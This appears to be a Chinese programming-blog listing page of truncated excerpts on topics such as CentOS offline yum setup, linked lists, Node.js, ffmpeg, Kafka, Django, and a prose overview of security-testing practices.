Size][Date][CentOS-7-x86_64-DVD-2009.iso]47123005442020-11-04 11:37:25CentOS-7-x86_64-Everything-2009.iso102005473282020-11-02 15:18:02[CentOS-7-x86_64-Minimal-2009.iso]10202644482020-11-03 14:55:52 三、★离线YUM源配置 CentOS-7-x86_64-Everything-2009.iso系统镜像下载完后,直接导入到离线的centos7.9系统进行挂载,然后在复制全部文件到系统中,具体步骤如下(需要具有root或者sudo权限): 3.1 镜像挂载 # 进行系统的挂载,挂载到/mnt mount -o loop CentOS-7-x86_64-Everything-2009.iso /mnt 3.2 镜像内容复制 # 创建一个文件夹用于存放系统镜像里的全部文件 mkdir /home/ldd/local_yum cd /mnt cp -r ./* /home/ldd/local_yum 3.3 备份yum默认配置文件 # 系统默认的yum源 mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.

数据结构 —— 双向链表(超详细图解 & 接口函数实现)

系列文章目录 数据结构 —— 顺序表 数据结构 —— 单链表 数据结构 —— 双向链表 数据结构 —— 队列 数据结构 —— 栈 数据结构 —— 堆 数据结构 —— 二叉树 数据结构 —— 八大排序 文章目录 系列文章目录前言一、示例问题:城市对外回环交通1.城市回环交通2.逻辑示意图3.双向链表的引入 二、双向链表的概念1.定义2.结构3.存储 三、双向链表的接口函数1.动态申请空间2.创建哨兵位3.查找指定数据4.指定位置插入5.指定位置删除6.头部插入7.头部删除8.尾部插入9.尾部删除10.计算链表大小11.销毁链表 四、总结 前言 数据结构是计算机存储、组织数据的方式。数据结构是指相互之间存在一种或多种特定关系的数据元素的集合。数据结构是一种十分优秀的解决实际问题的模板,是先进思想的结晶。博主将会用代码结合大量图解,对数据结构进行深度剖析,以便大家更好的学习数据结构的思想。 一、示例问题:城市对外回环交通 城市对外交通实现了从一个城市到另一个城市的道路,但今天所讨论的仅限于一个城市连接其他两个城市的回环交通结构。 1.城市回环交通 城市对外交通指的是城市与城市之间的交通,是连接城市与城市之间往返的重要路径 2.逻辑示意图 城市回环交通结构与本文将的内容极其相似,我们由城市的回环交通来引入双向带头循环链表 3.双向链表的引入 双向链表的引入:既能指向前一个节点又指向下一个节点存储内容地址 二、双向链表的概念 1.定义 链表:由 n 个节点链接成一个链表,即线性表的链式存储结构 双向链表:双向链表也叫双链表,是链表的一种,它的每个数据结点中都有两个指针,分别指向直接后继和直接前驱 节点: 我们把存储数据元素信息的域称为数据域。存储数据元素之间的链接信息即下一个存储数据元素地址的部分称为指针域。由数据域和指针域组成的数据元素a的存储映像称为节点。 2.结构 双向链表的结构类型 typedef int LTDateType; //便于更改存储类型 typedef struct ListNode { LTDateType data; //数据域:存储数据元素信息 struct ListNode *prev; //指针域:存储上一个节点信息 struct ListNode *next; //指针域:存储下一个节点信息 } ListNode; 3.

node.js的学习

nodejs 官网 Node.js (nodejs.org) nodejs中代码由V8引擎解析,内置fs,http等api 不包含dom和bom,不可以在nodejs中使用bom和dom nodejs可以做什么 基于Express框架,可以快速构架web应用基于Electron框架,构建跨平台的桌面应用基于restify框架,构架api接口项目读写操作数据库… 环境安装 官网下载,双击安装(lts版) lts为长期稳定版 current为新特性尝鲜版(测试版) Node.js 安装配置 | 菜鸟教程 (runoob.com) 配置的时候如果更改了安装路径,需要配置一下环境变量 运行nodejs,在终端中输入 node demo.js 遇到文件命比较长时,输入文件开头,再敲tab键可以自动补充 cls可以清空终端,ecs可以清除当前命令 内置模块 Index | Node.js v17.9.1 Documentation (nodejs.org)官方文档 Node.js 教程 | 菜鸟教程 (runoob.com)菜鸟文档 1.fs模块 fs.readFile()方法,用来读取指定文件内容 fs.readFile(path[, options], callback) path:必选参数,字符串,表示文件路径 option:可选参数,表示什么编码格式来读取文件 callback:必选参数,文件读取完成后,通过回调函数拿到结果 var fs = require("fs"); fs.readFile('study.md','utf8',function(err,data){ // console.log(err); console.log(data); if(err){ return console.log('读取文件失败'+err.message); } else{ console.log('文件读取成功') } }) fs.writeFilr()方法,向指定文件写内容(写入时没有指定文件会自动创建文件,但不会创建文件夹,默认会覆盖之前文件的数据) fs.writeFile(file, data[, options], callback) file:必选参数,需要指定文件路径字符串,表示文件存放路径 data:必选参数,表示要写入内容 option:可选参数,默认utf8 callback:必选参数,回调函数 var fs = require("

安全测试的最佳实践

昨天简单介绍了安全测试的相关概念,今天看看具体的安全测试操作。 什么是安全测试? 安全测试检查软件是否容易受到网络攻击,并测试恶意或意外输入对其操作的影响。安全测试提供证据,证明系统和信息是安全可靠的,并且它们不接受未经授权的输入。 安全测试是一种非功能测试。与功能测试不同,功能测试关注的是软件的功能是否正常工作(“软件做了什么”),而非功能测试关注的是应用程序是否被正确设计和配置(“如何”进行)。 安全测试的主要目标: 1.识别资产——需要保护的东西,比如软件应用程序和计算基础设施。 2.识别威胁和漏洞-可能对资产造成损害的活动,或一个或多个资产中可能被攻击者利用的弱点。 3. 识别风险-安全测试旨在评估特定威胁或漏洞将对业务造成负面影响的风险。风险是通过识别威胁或漏洞的严重程度以及利用的可能性和影响来评估的。 4. 执行补救—安全测试不仅仅是对资产的被动评估。它为修复发现的漏洞提供了可操作的指导,并可以验证漏洞是否已成功修复。 安全测试的关键原则 安全测试旨在确保组织的系统、应用程序和数据遵循以下安全原则: 1. 机密性—限制对系统管理的敏感访问的访问。 2. 完整性——确保数据在整个生命周期内是一致、准确和可信的,并且不能被未经授权的实体修改。 3. 身份验证——确保敏感系统或数据受到一种机制的保护,这种机制可以验证访问它们的个人的身份。 4. 授权-确保敏感系统或数据根据身份验证用户的角色或权限正确控制访问。 5.可用性——确保关键系统或数据在用户需要时可用。 6.不可抵赖性——通过使用可证明的时间戳交换身份验证信息,确保发送或接收的数据不会被拒绝。 安全测试的类型 渗透测试(道德黑客) 渗透测试是在安全条件下对应用程序、软件、系统或网络进行真实网络攻击的过程。它可以帮助评估现有的安全措施在真实攻击中的表现。最重要的是,渗透测试可以发现未知的漏洞,包括zero-day威胁和业务逻辑漏洞。 渗透测试传统上是由被称为道德黑客的受信任和认证的安全专业人员手动完成的。黑客在约定的范围内工作,试图在不造成损害的情况下,以可控的方式侵入公司的系统。近年来,自动化渗透测试工具正在帮助组织以更低的成本和更高的测试频率获得类似的好处。 应用程序安全测试(AST) 应用程序安全测试描述了组织可以用来发现和消除软件应用程序中的漏洞的方法。这些方法包括在整个软件开发生命周期(SDLC)中测试、分析和报告软件应用程序的安全状况。 AST的主要目标是在应用程序发布到市场之前防止软件漏洞,如果做不到这一点,则在生产中快速识别并修复它们。成功的AST会带来更健壮、更安全的源代码、对应用程序安全问题的更大可见性,以及对内部和外部威胁的更好保护。 Web应用程序安全测试 web应用程序安全测试的目标是确定web应用程序是否容易受到攻击。它涵盖了各种自动和手动技术。 Web应用渗透测试旨在收集Web应用的相关信息,发现系统漏洞或缺陷,调查利用这些漏洞或缺陷的成功程度,并评估Web应用漏洞的风险。 开放Web应用程序安全项目(OWASP)是一个致力于发现和报告Web应用程序中的安全漏洞的社区。 API安全测试 API安全测试有助于识别应用程序编程接口(API)和web服务中的漏洞,并帮助开发人员修复这些漏洞。api提供了对敏感数据的访问,攻击者可以将它们用作内部系统的入口点。严格和定期地测试api可以保护它们免受未经授权的访问和滥用。 API特别容易受到中间人(MiTM)攻击(攻击者可以窃听API通信并窃取数据或凭据)、API注入(攻击者可以向内部系统注入恶意代码)和拒绝服务(DoS)等威胁的攻击,在这种威胁中,攻击者用假流量淹没API以拒绝向合法用户提供服务。 为了减轻这些威胁,API必须经过验证,以对用户请求进行强身份验证,根据最小权限原则对用户进行授权,使用SSL/TLS对所有通信进行加密,并对用户输入进行消毒以防止代码注入和篡改。 漏洞管理 漏洞管理是一个持续的过程,使组织能够跨端点、工作负载和网络识别、评估、报告、管理和修复安全漏洞。安全团队通常使用漏洞扫描工具来检测漏洞,并实现手动或自动流程来修复漏洞。 健壮的漏洞管理程序使用威胁情报并利用IT运营知识来了解漏洞的实际业务影响,确定风险的优先级,并尽快修复高优先级的漏洞。 配置扫描 安全扫描,也称为配置扫描,是识别软件、网络和其他计算系统的错误配置的过程。这种类型的扫描通常根据研究机构或遵从标准指定的最佳实践列表检查系统。 自动配置扫描工具识别错误配置,并提供关于每个错误配置的更多详细信息的报告,以及如何解决这些错误配置的建议。 安全审计 安全审计是根据定义的标准审查/审计应用程序/软件的结构化过程。审计通常包括根据安全需求审查代码或体系结构,分析安全漏洞,并评估硬件配置、操作系统和组织实践的安全状况。它还评估法规和标准的遵守情况。 风险评估 风险评估允许组织识别、分析和分类其业务关键资产面临的安全风险。风险评估可以帮助了解对组织基础设施最重要的威胁是什么,并确定系统补救的优先级。它还有助于安全投资的长期规划和预算编制。 安全情况评估 安全态势评估结合了安全扫描、道德黑客和风险评估,不仅可以确定组织面临的风险,还可以确定其当前的安全控制及其有效性。它可以识别当前安全态势中的漏洞,并提出将提高受保护资产安全性的变更或改进建议。 安全测试用例和场景 身份验证 认证系统的安全测试应包括以下内容: 检查密码规则—测试站点要求的密码安全级别和质量。 识别用户名枚举漏洞—检查错误是否因是否有用户而不同。 测试密码强度—创建密码的最低要求。 识别帐户恢复漏洞—检查攻击是否可以恢复帐户(即通过更改电子邮件或密码)。 检查用户名强度—确保用户名是唯一的。 识别fail-open身份验证-检查即使身份验证失败,系统是否仍提供开放访问。 验证cookie作用域—检查cookie的作用域是否在域中,或者攻击者是否可以窃取它们。 输入验证 输入验证测试应包括以下内容: 模糊请求参数—检查反射参数和打开重定向。 识别SQL注入漏洞—检查系统是否将参数作为SQL处理。 识别SOAP注入漏洞—检查应用程序是否响应SOAP。 识别LDAP注入漏洞—测试是否无法清除输入。 识别XML注入漏洞—检查注入的XML是否影响应用程序。 识别XXE注入漏洞—检查攻击者是否可以注入外部实体。 应用程序和业务逻辑 这些测试用例对于安全测试很重要,并且需要人工干预(考虑到每个应用程序逻辑的唯一性,它们太复杂而无法自动化)。测试应包括以下内容:

django 如何再admin界面增加功能

需求:再admin界面的基础 上增加一个授予用户权限的表单,使用Useradmin中一样的授权表单。 from django.contrib import admin from django import forms class PermissionForm(forms.ModelForm): user_list = forms.MultipleChoiceField( choices=(), widget=admin.widgets.FilteredSelectMultiple("user_list", False), label="grant user permission", required=False, ) class Meta: fields = ("user_list",)//再页面上增加一个字段 def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.fields["user_list"].choices = self.get_user_list(kwargs["instance"].data_owner) self.fields["user_list"].initial = self.get_exit_user_list(kwargs["instance"]) def get_user_list(self, data_owner): //获取所有用户 return [(i.username, i.username) for i in _User.objects.filter(~Q(username=data_owner)).all()] def get_exit_user_list(self, obj): //获取已经授予权限的用户 return [i.username for i in _User.objects.filter(user_permissions__name=str(obj)).all()] class SampleBatchAdmin(admin.ModelAdmin): model = SampleBatch form = PermissionForm

Android常用的第三方库--.jar、.aar

一、什么是jar包和arr包?两者有何区别? JAR(Java Archive,Java 归档文件)是与平台无关的文件格式,它允许将许多文件组合成一个压缩文 件。JAR是 Java 的一种文档格式,是一种与平台无关的文件格式,可将多个文件合成一个文件。只包含了class文件与清单文件 ,不包含资源文件,如图片等所有res中的文件。 JAR的优点:安全性、减少下载时间、传输平台扩展、包密封、包版本控制、可移植性。 2.Android库项目的二进制归档文件,包含所有资源,class以及res资源文件全部包含。 将aar解压(后缀改为.zip,再解压文件)打开后,可以看到每个aar解压后的内容可能不完全一样,但 是都会包含AndroidManifest.xml,classes.jar,res,R.txt。 3.区别:打 JAR 包,项目里面的 res 文件不可用,如果想用图片文件,可将图片放进 assets 文件打进 jar 包,但注意 jar 文件夹里面的文件不能和调用项目里面的 assets 文件里面的文件重名。 aar 是 Android 库项目的二进制归档文件,包含所有资源,class 以及 res 资源文件。 二、如何使用AndroidStudio打包为jar包和arr包 打包jar 新建模块library,将需要打包的代码写在library里 注:Android Library,创建Android类库,将平时总结的TeachCourse Android 源码Demo封装成类库的形式,想要选中该项,然后可以在多个module中引用。 打开library下的build-gradle,并添加如下代码 task addMakeJar(type: Copy) { //删除存在的 delete 'build/libs/myjar.jar' //设置拷贝的文件 //从这个目录下取出默认jar包,不同版本目录均不一样,根据自己项目在build中找classes.jar所在目录 from('build/intermediates/compile_library_classes_jar/release/') //打进jar包后的文件目录 into('build/libs/') //将classes.jar放入build/libs/目录下 //include ,exclude参数来设置过滤 //(我们只关心classes.jar这个文件) include('classes.jar') //重命名 rename ('classes.jar', 'myjar.jar') } addMakeJar.dependsOn(build) 完成后点击sync now,再打开右上角的gradle 会发现在library包下的tasks->other有了我们刚刚添加的task addMakeJar,双击运行 成功 打包arr 其实AndroidStudio会自动生成arr文件

【ffmpeg基础】ffmpeg视频编码

一、ffmpeg编码H264 输入为YUV输出为H264 ffmpeg -s 416x240 -pix_fmt yuv420p -i BlowingBubbles_416x240_50.yuv -r 50 -vcodec libx264 BlowingBubbles_416x240_50.h264 通过-s来指定输入yuv的分辨率(需要先指定分辨率); 通过-pix_fmt来指定输入yuv的像素格式; 通过-i来指定输入yuv的路径和名称; 通过-r 来指定要编码的帧率; 通过-vcodec来指定视频编码的编码器为libx264 输入为YUV输出为MP4(h264) ffmpeg -s 416x240 -pix_fmt yuv420p -i BlowingBubbles_416x240_50.yuv -r 50 -vcodec libx264 BlowingBubbles_416x240_50.mp4 输入为MP4(包含音频)输出为MP4(H264)去掉音频 ffmpeg -i input.mp4 -vcodec libx264 -an output.mp4 通过-an参数来去掉输入input.mp4中的音频,并通过-vcodec libx264将输入的视频进行h264重新编码。 ffmpeg -i input.mp4 -vcodec copy -an output.mp4 通过-an参数来去掉输入input.mp4(h264)中的音频,并通过-vcodec copy将输入的视频复制到out.mp4中,视频编码类型和大小不会变化。 H264编码参数设置[I帧间隔、B帧个数(B帧决策类型)、crf、码率配置等] ffmpeg -s 416x240 -pix_fmt yuv420p -i BlowingBubbles_416x240_50.yuv -r 50 -vcodec libx264 -x264-params "scenecut=0:keyint=50:b-adapt=0:bframes=3:bitrate=500" BlowingBubbles_416x240_50.h264 通过-x264-params来设置libx264编码器参数;编码参数通过= :的形式,=是给具体编码参数赋值,而:是表示下一个参数;参数需要是libx264支持的参数。scenecut=0表示场景切换关闭;keyint=50表示I帧间隔为50(即gop为50);b-adapt=0表示b帧类型决策关闭,采用固定b帧个数;bframes=3表示b帧个数为3;bitrate=500表示编码码率为500k。-x264-params中的部分参数也可以在写在外面,比如bframes=3可以使用-nb 3;bitrate=500可以使用-vb=500k。如下:

史上最全 | 基于深度学习的3D分割综述(RGB-D/点云/体素/多目)

转自:史上最全 | 基于深度学习的3D分割综述(RGB-D/点云/体素/多目)_3D视觉工坊-商业新知 (shangyexinzhi.com)来源丨自动驾驶之心 摘要 3D目标分割是计算机视觉中的一个基本且具有挑战性的问题,在自动驾驶、机器人、增强现实和医学图像分析等领域有着广泛的应用。它受到了计算机视觉、图形和机器学习社区的极大关注。传统上,3D分割是用人工设计的特征和工程方法进行的,这些方法精度较差,也无法推广到大规模数据上。在2D计算机视觉巨大成功的推动下,深度学习技术最近也成为3D分割任务的首选。近年来已涌现出大量相关工作,并且已经在不同的基准数据集上进行了评估。本文全面调研了基于深度学习的3D分割的最新进展,涵盖了150多篇论文。论文总结了最常用的范式,讨论了它们的优缺点,并分析了这些分割方法的对比结果。并在此基础上,提出了未来的研究方向。 如图1第二行所示,3D分割可分为三种类型:语义分割、实例分割和部件分割。 论文的主要贡献如下: 本文是第一篇全面涵盖使用不同3D数据表示(包括RGB-D、投影图像、体素、点云、网格和3D视频)进行3D分割的深度学习综述论文; 论文对不同类型的3D数据分割方法的相对优缺点进行了深入分析; 与现有综述不同,论文专注于专为3D分割设计的深度学习方法,并讨论典型的应用领域; 论文对几种公共基准3D数据集上的现有方法进行了全面比较,得出了有趣的结论,并确定了有前景的未来研究方向。 图2显示了论文其余部分的组织方式: 基准数据集和评估指标 3D分割数据集 数据集对于使用深度学习训练和测试3D分割算法至关重要。然而,私人收集和标注数据集既麻烦又昂贵,因为它需要领域专业知识、高质量的传感器和处理设备。因此,构建公共数据集是降低成本的理想方法。遵循这种方式对社区有另一个好处,它提供了算法之间的公平比较。表1总结了关于传感器类型、数据大小和格式、场景类别和标注方法的一些最流行和典型的数据集。 这些数据集是通过不同类型的传感器(包括RGB-D相机[123]、[124]、[127]、[49]、[20]、移动激光扫描仪[120]、[3]、静态地面扫描仪[39]和非真实引擎[7]、[155]和其他3D扫描仪[1]、[10])用于3D语义分割而获取的。其中,从非真实引擎获得的数据集是合成数据集[7][155],不需要昂贵的设备或标注时间。这些物体的种类和数量非常丰富。与真实世界数据集相比,合成数据集具有完整的360度3D目标,没有遮挡效果或噪声,真实世界数据集中有噪声且包含遮挡[123]、[124]、[127]、[49]、[20]、[120]、[12]、[3]、[1]、[39]、[10]。对于3D实例分割,只有有限的3D数据集,如ScanNet[20]和S3DIS[1]。这两个数据集分别包含RGB-D相机或Matterport获得的真实室内场景的扫描数据。对于3D部件分割,普林斯顿分割基准(PSB)[12]、COSEG[147]和ShapeNet[169]是三个最流行的数据集。图3中显示了这些数据集的标注示例: 评价指标 不同的评估指标可以评价分割方法的有效性和优越性,包括执行时间、内存占用和准确性。然而,很少有作者提供有关其方法的执行时间和内存占用的详细信息。本文主要介绍精度度量。对于3D语义分割,常用的有Overall Accuracy(OAcc)、mean class Accuracy(mAcc)、mean class Intersection over Union(mIoU)。 OAcc: mAcc: mIoU: 对于3D实例分割,常用的有Average Precision(AP)、mean class Average Precision(mAP)。 AP: mAP: 对于3D部件分割,常用的指标是overall average category Intersection over Union(Cat.mIoU)和overall average instance Intersection over Union(Ins.mIoU)。 Cat.mIoU: Ins.mIoU: 3D语义分割 文献中提出了许多关于3D语义分割的深度学习方法。根据使用的数据表示,这些方法可分为五类,即基于RGB-D图像、基于投影图像、基于体素、基于点云和其他表示。基于点云的方法可以根据网络架构进一步分类为基于多层感知器(MLP)的方法、基于点云卷积的方法和基于图卷积的。图4显示了近年来3D语义分割深度学习的里程碑。 基于RGB-D RGB-D图像中的深度图包含关于真实世界的几何信息,这有助于区分前景目标和背景,从而提供提高分割精度的可能。在这一类别中,通常使用经典的双通道网络分别从RGB和深度图像中提取特征。然而框架过于简单,无法提取丰富而精细的特征。为此,研究人员将几个附加模块集成到上述简单的双通道框架中,通过学习对语义分割至关重要的丰富上下文和几何信息来提高性能。这些模块大致可分为六类:多任务学习、深度编码、多尺度网络、新型神经网络结构、数据/特征/得分级融合和后处理(见图5)。表2中总结了基于RGB-D图像的语义分割方法。 多任务学习 :深度估计和语义分割是计算机视觉中两个具有挑战性的基本任务。这些任务也有一定的相关性,因为与不同目标之间的深度变化相比,目标内的深度变化较小。因此,许多研究者选择将深度估计任务和语义分割任务结合起来。从两个任务的关系来看,多任务学习框架主要有两种类型:级联式和并行式。级联式的工作有[8]、[36],级联框架分阶段进行深度估计和语义分割,无法端到端训练。因此,深度估计任务并没有从语义分割任务中获得任何好处。并行式的工作有[141]、[101]、[87],读者具体可以参考相关论文。 深度编码 :传统的2D CNN无法利用原始深度图像的丰富几何特征。另一种方法是将原始深度图像编码为适合2D-CNN的其他表示。Hoft等人[46]使用定向梯度直方图(HOG)的简化版本来表示RGB-D场景的深度通道。Gupta等人[38]和Aman等人[82]根据原始深度图像计算了三个新通道,分别为水平视差、地面高度和重力角(HHA)。Liu等人[86]指出了HHA的局限性,即某些场景可能没有足够的水平和垂直平面。因此,他们提出了一种新的重力方向检测方法,通过拟合垂直线来学习更好的表示。Hazirbas等人[42]还认为,HHA表示具有较高的计算成本,并且包含比原始深度图像更少的信息。并提出了一种称为FuseNet的架构,该架构由两个编码器-解码器分支组成,包括一个深度分支和一个RGB分支,且以较低的计算负载直接编码深度信息。 多尺度网络 :由多尺度网络学习的上下文信息对于小目标和详细的区域分割是有用的。Couprie等人[19]使用多尺度卷积网络直接从RGB图像和深度图像中学习特征。Aman等人[111]提出了一种用于分割的多尺度deep ConvNet,其中VGG16-FC网络的粗预测在scale-2模块中被上采样。然而,这种方法对场景中的杂波很敏感,导致输出误差。Lin等人[82]利用了这样一个事实:较低场景分辨率区域具有较高的深度,而较高场景分辨率区域则具有较低的深度。他们使用深度图将相应的彩色图像分割成多个场景分辨率区域,并引入context-aware receptive field(CaRF),该感知场专注于特定场景分辨率区域的语义分割。这使得他们的管道成为多尺度网络。 新型神经网络结构 :由于CNN的固定网格计算,它们处理和利用几何信息的能力有限。因此,研究人员提出了其他新颖的神经网络架构,以更好地利用几何特征以及RGB和深度图像之间的关系。这些架构可分为四大类:改进2D CNN,相关工作有[61]、[144];逆卷积神经网络(DeconvNets),相关工作有[87]、[139]、[14];循环神经网络(RNN),相关工作有[29]、[79];图神经网络(GNN),相关工作有[110]。 数据/特征/得分融合 :纹理(RGB通道)和几何(深度通道)信息的最优融合对于准确的语义分割非常重要。融合策略有三种:数据级、特征级和得分级,分别指早期、中期和晚期融合。数据融合最简单的方式是将RGB图像和深度图像concat为4通道输入CNN[19]中,这种方式比较粗暴,没有充分利用深度和光度通道之间的强相关性。特征融合捕获了这些相关性,相关工作有[79]、[139]、[42]、[61]。得分级融合通常使用简单的平均策略进行。然而,RGB模型和深度模型对语义分割的贡献是不同的,相关工作有[86]、[14]。 后处理 :用于RGB-D语义分割的CNN或DCNN的结果通常非常粗糙,导致边缘粗糙和小目标消失。解决这个问题的一个常见方法是将CNN与条件随机场(CRF)耦合。Wang等人[141]通过分层CRF(HCRF)的联合推断进一步促进了两个通道之间的相互作用。它加强了全局和局部预测之间的协同作用,其中全局用于指导局部预测并减少局部模糊性,局部结果提供了详细的区域结构和边界。Mousavian等人[101]、Liu等人[87]和Long等人[86]采用了全连接CRF(FC-CRF)进行后处理,其中逐像素标记预测联合考虑几何约束,如逐像素法线信息、像素位置、强度和深度,以促进逐像素标记的一致性。类似地,Jiang等人[61]提出了将深度信息与FC-CRF相结合的密集敏感CRF(DCRF)。

二进制按位赋值(对某位进行0或1赋值)与二进制打印输出

说明:采用VS编译出现:The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant,请参考:VS编译出现‘itoa‘ #include <stdio.h> #include <stdlib.h> #define SIZE 5 /************************************************************************ 功能: 二进制某位置零或者一 说明 * p_data: 需修改的值 position: 位数((从0 开始)) flag: 置零或一 /************************************************************************/ void Binary_Bit(unsigned char* p_data, unsigned char position, int flag) { //二进制某位置零或者一 position为位数(从0 开始) if (flag) { *p_data |= 0x01 << (position); } else { *p_data &= ~(0x01 << (position)); } } /************************************************************************ 功能: 主函数 /************************************************************************/ void main(void) { char num1 = 15; //二进制为:1111 char num2 = num1; char string[5] = { 0 }; //形参类型char最大为4位,因此我这里定义了大小为5的字符串数组存放 _itoa(num1, string, 2); printf("

浙大版《C语言程序设计(第4版)》练习5-2 找两个数中最大者

本题要求对两个整数a和b,输出其中较大的数。 函数接口定义: int max( int a, int b ); 其中a和b是用户传入的参数,函数返回的是两者中较大的数。 输入样例: -5 8 输出样例: max = 8 【代码1】 int max(int n, int m) { int max = 0; if (n < m) { max = m; } else { max = n; } return max; } 【代码2----运用三目操作符】 int max( int a, int b ) { return (a > b) ? a : b; //解释 (a > b) ? a : b --->a大于b吗,如果这句话为真则整个表达式的值为a,否则为b.

数据结构 - Map 和 Set

目录 1.概念 2.模型 3.Map 3.1 Map的常用方法 📢 V put(K key,V value) - 设置 key 对应的 value 📢 V get(Object key) - 返回 key 对应的 value ​编辑 📢 V getOrDefault (Object key , V defaultVaule) - 返回 key 对应的 value,如果 key 不存在则返回默认值 (defaultVaule) 📢 V remova (Object key) - 删除 key 对应的映射关系 📢 Set keySet() - 返回所有 key 的不重复集合 📢 Collection values() - 返回所有 value 的可重复集合 📢 boolean containsKey(Object key) - 判断是否包含 key 📢 boolean containsValue(Object value) - 判断是否包含 value

性能测试-TPS上不去哪些原因导致的?【杭州多测师_王sir】【杭州多测师】

1.网络带宽 在压力测试中,有时候要模拟大量的用户请求,如果单位时间内传递的数据包过大,超过了带宽的传输能力,就会造成网络资源竞争,导致服务端接收到的请求数达不到服务端的处理能力上限。 2.连接池可用连接数太少,造成请求等待。连接池一般分为服务器连接池(比如Tomcat)和数据库连接池(或者理解为最大允许连接数也行),没有保持长连接,TCP 连接频繁中断 3.GC 如果堆内存分配的不合理,就会导致频繁的gc,gc会导致线程暂停。尤其是fullgc,会造成线程长时间暂停,代码故障,list 使用 contain 方法进行遍历去重,线程阻塞或者死锁 jvm 内存分配故障,fullgc 频繁,内存溢出 4.数据库配置 高并发情况下,如果请求数据需要写入数据库且需要写入多个表的时候,数据库的最大连接数不够,或者写入数据的SQL没有索引,或没有主从分离、读写分离,就会导致数据库事务处理过慢,还有数据库没加索引,db 缓存空间不足,也会影响到TPS。 5.硬件资源 包括CPU(配置、使用率等)、内存(占用率等)、磁盘(I/O、页交换等) 6.压力机单机负载能力有限,如果需要模拟的用户请求数超过其负载极限,会影响TPS(这个时候就需要进行分布式压测来解决问题) 7.其他中间件 Nginx 负载均衡策略不当,压力分配不均 Redis 瓶颈。hash 未合并,缓存被击穿,单条命令耗时过长 8.硬件资源中CPU和内存服务器资源不足,上下文切换过快,中断过高,swap 交换频繁 压力大的时候tps频繁抖动,导致总tps上不去。查看是否有fullgc(tail -f gc_mSrv1.log | grep full) pacing设置太小也会导致tps上不去,对抖动大的交易多增加点用户即可。 tps抖动,单压抖动大的交易,发现很平稳,这时怀疑是不是压力太大导致,所以发容量的时候把压力最大的那只交易分到其他压力机,然后发现tps不抖动了。注意:多台压力机只影响tps抖动,不会影响服务器的cpu。看响应时间有没有超时,看用户数够不够。

学习 Kafka 入门知识看这一篇就够了!(万字长文)

目录 初识 Kafka 什么是 Kafka Kafka 的基本术语 Kafka 的特性(设计原则) Kafka 的使用场景 Kafka 的消息队列 Kafka 系统架构 核心 API Kafka 为何如此之快 Kafka 安装和重要配置 broker 端配置 主题默认配置 JVM 参数配置 Kafka Producer 创建 Kafka 生产者 Kafka 消息发送 简单消息发送 同步发送消息 异步发送消息 生产者分区机制 生产者压缩机制 Kafka 重要参数配置 Kafka Consumer 消费者组和分区重平衡 创建消费者 消费者配置 提交和偏移量的概念 后记 初识 Kafka 什么是 Kafka Kafka 是由 Linkedin 公司开发的,它是一个分布式的,支持多分区、多副本,基于 Zookeeper 的分布式消息流平台,它同时也是一款开源的基于发布订阅模式的消息引擎系统。 Kafka 的基本术语 消息:Kafka 中的数据单元被称为消息,也被称为记录,可以把它看作数据库表中某一行的记录。 批次:为了提高效率, 消息会分批次写入 Kafka,批次就代指的是一组消息。 主题:消息的种类称为 主题(Topic),可以说一个主题代表了一类消息。相当于是对消息进行分类。主题就像是数据库中的表。 分区:主题可以被分为若干个分区(partition),同一个主题中的分区可以不在一个机器上,有可能会部署在多个机器上,由此来实现 kafka 的伸缩性,单一主题中的分区有序,但是无法保证主题中所有的分区有序

Django3+Vue Million商城项目的总结

文章目录 项目说明主要环境搭建主要技术实现django 的配置文件celery的使用(异步发送短信验证码和邮箱验证链接)容联云通讯短信平台QQ登录jwt实现加密解密验证实现数据的安全性FastDFS+Docker实现图片数据的展示FastDFSDockerDocker安装运行FastDFS git推送项目到gitee上uwsgi部署 项目成品遇到的问题总结 项目说明 概述: Million商城是一个基于django3+vue前后端的网页电子商城项目 主要技术:Django3+Vue+MySQL+Redis+Celery+FastDFS+Docker+Elasticsearch+Crontab+jwt+git 主要负责:后端逻辑业务的实现 功能模块: 验证: 图形验证、短信验证 用户: 注册、登录、用户中心(基本信息、邮箱激活、收货地址、我的订单、修改密码) 第三方登录: QQ登录 首页广告: 首页广告 商品: 商品列表、商品搜索、商品详情、商品浏览记录 购物车: 购物车管理、购物车合并 订单 :确认订单、提交订单、订单商品评价 支付 :支付宝支付 MIS系统: 数据统计、用户管理、权限管理、商品管理、订单管理 主要环境搭建 1、安装Ubuntu20.04 2、python3.8 3、mysql8.0 4、django3.2 5、创建一个虚拟环境 主要技术实现 django 的配置文件 settings.py """ Django settings for MeiDuoMall project. Generated by 'django-admin startproject' using Django 3.2.9. For more information on this file, see https://docs.djangoproject.com/en/3.2/topics/settings/ For the full list of settings and their values, see https://docs.

rush update运行报错:Running postinstall script, failed in ;Packages are hard linked from the content-add

目录 一、问题 二、原因 三、解决方法 四、总结 一、问题 1.运行rush update报错:很是奇怪呀,别人都可以,我新拉的项目就是会报错。 Packages are hard linked from the content-addressable store to the virtual store. Content-addressable store is at: D:\comen-web-3\common\temp\pnpm-store\v3 node_modules/.pnpm/electron@18.3.15/node_modules/electron: Running postinstall script, failed in 1m 35.8s .../node_modules/electron postinstall$ node install.js; ERROR: The command failed with exit code 1 详细错误如下图所示: 二、原因 1.原因:网络太差了或者github无法访问,electron (文件有86M,有点大)依赖没有下载下来,所以报错了! 如下图所示:没有把可执行代码 dist文件夹下载下来,正常情况下是需要有dist文件夹的 三、解决方法 1.换一个好一点的网络环境。 2.直接从可以运行的项目中 复制出这个dist文件夹(或者以防万一electron文件夹下面的东西复制出来),放到无法运行项目相应的目录下即可 3.以免以后的下载的项目也有问题,可以在网络情况良好时下载一个 electron的缓存包 (或者有能运行项目的人的C:\Users\xxx\AppData\Local\electron\Cach下面的文件9145d05f39cebd6e27542aad72e2b6c23d826024451dfc734d977e4152600a8a,复制), 放入自己的 C:\Users\xxx\AppData\Local\electron\Cache 目录下,下次下载依赖时,会先从缓存里面取这个依赖 四、总结 1.遇到问题不要惊慌,仔细想想,如果当时我仔细看了报错信息,是能够自行解决的。主要的报错信息在:node_modules/.pnpm/electron@18.3.15/node_modules/electron: Running postinstall script, failed in 1m 35.

SqlServer创建用户只赋予某个视图权限

